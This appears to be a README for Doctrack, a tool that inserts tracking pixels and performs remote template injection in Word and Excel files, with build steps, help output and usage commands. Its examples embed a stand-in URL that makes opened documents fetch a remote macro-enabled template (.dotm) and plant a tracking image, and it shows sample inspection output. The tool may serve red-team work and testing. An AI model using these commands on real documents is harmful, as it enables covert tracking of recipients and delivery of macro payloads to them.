Doctrack – Tool To Manipulate & Insert Tracking Pixels Into Office Open XML Documents

Doctrack is a tool to manipulate and insert tracking pixels into Office Open XML documents.

Features

  • Insert tracking pixels into Office Open XML documents (Word and Excel)
  • Inject template URL for remote template injection attack
  • Inspect external target URLs and metadata
  • Create Office Open XML documents (#TODO)

Installation

You will need to download .Net Core SDK for your platform. Then, to build single binary on Windows:

$ git clone https://github.com/wavvs/doctrack.git
$ cd doctrack/
$ dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true

  • On Linux:

$ dotnet publish -r linux-x64 -c Release /p:PublishSingleFile=true

Usage

$ doctrack –help
Tool to manipulate and insert tracking pixels into Office Open XML documents.
Copyright (C) 2020 doctrack

-i, –input Input filename.
-o, –output Output filename.
-m, –metadata Metadata to supply (json file)
-u, –url URL to insert.
-e, –template (Default: false) If set, enables template URL injection.
-t, –type Document type. If –input is not specified, creates new
document and saves as –output.
-l, –list-types (Default: false) Lists available types for document
creation.
-s, –inspect (Default: false) Inspect external targets.
–help Display this help screen.

Available document types listed below. If you want to insert tracking URL just use either Document or Workbook types, other types listed here are only for document creation (#TODO).

$ doctrack –list-types
Document (.docx)
MacroEnabledDocument (.docm)
MacroEnabledTemplate (.dotm)
Template (.dotx)
Workbook (.xlsx)
MacroEnabledWorkbook (.xlsm)
MacroEnabledTemplateX (.xltm)
TemplateX (.xltx)

Insert tracking pixel and change document metadata:

$ doctrack -t Document -i test.docx -o test.docx –metadata metadata.json –url http://test.url/image.png

Insert remote template URL (remote template injection attack), works only with Word documents:

$ doctrack -t Document -i test.docx -o test.docx –url http://test.url/template.dotm –template

Inspect external target URLs and metadata:

$ doctrack -t Document -i test.docx –inspect
[External targets]
Part: /word/document.xml, ID: R8783bc77406d476d, URI: http://test.url/image.png
Part: /word/settings.xml, ID: R33c36bdf400b44f6, URI: http://test.url/template.dotm
[Metadata]
Creator:
Title:
Subject:
Category:
Keywords:
Description:
ContentType:
ContentStatus:
Version:
Revision:
Created: 13.10.2020 23:20:39
Modified: 13.10.2020 23:20:39
LastModifiedBy:
LastPrinted: 13.10.2020 23:20:39
Language:
Identifier:

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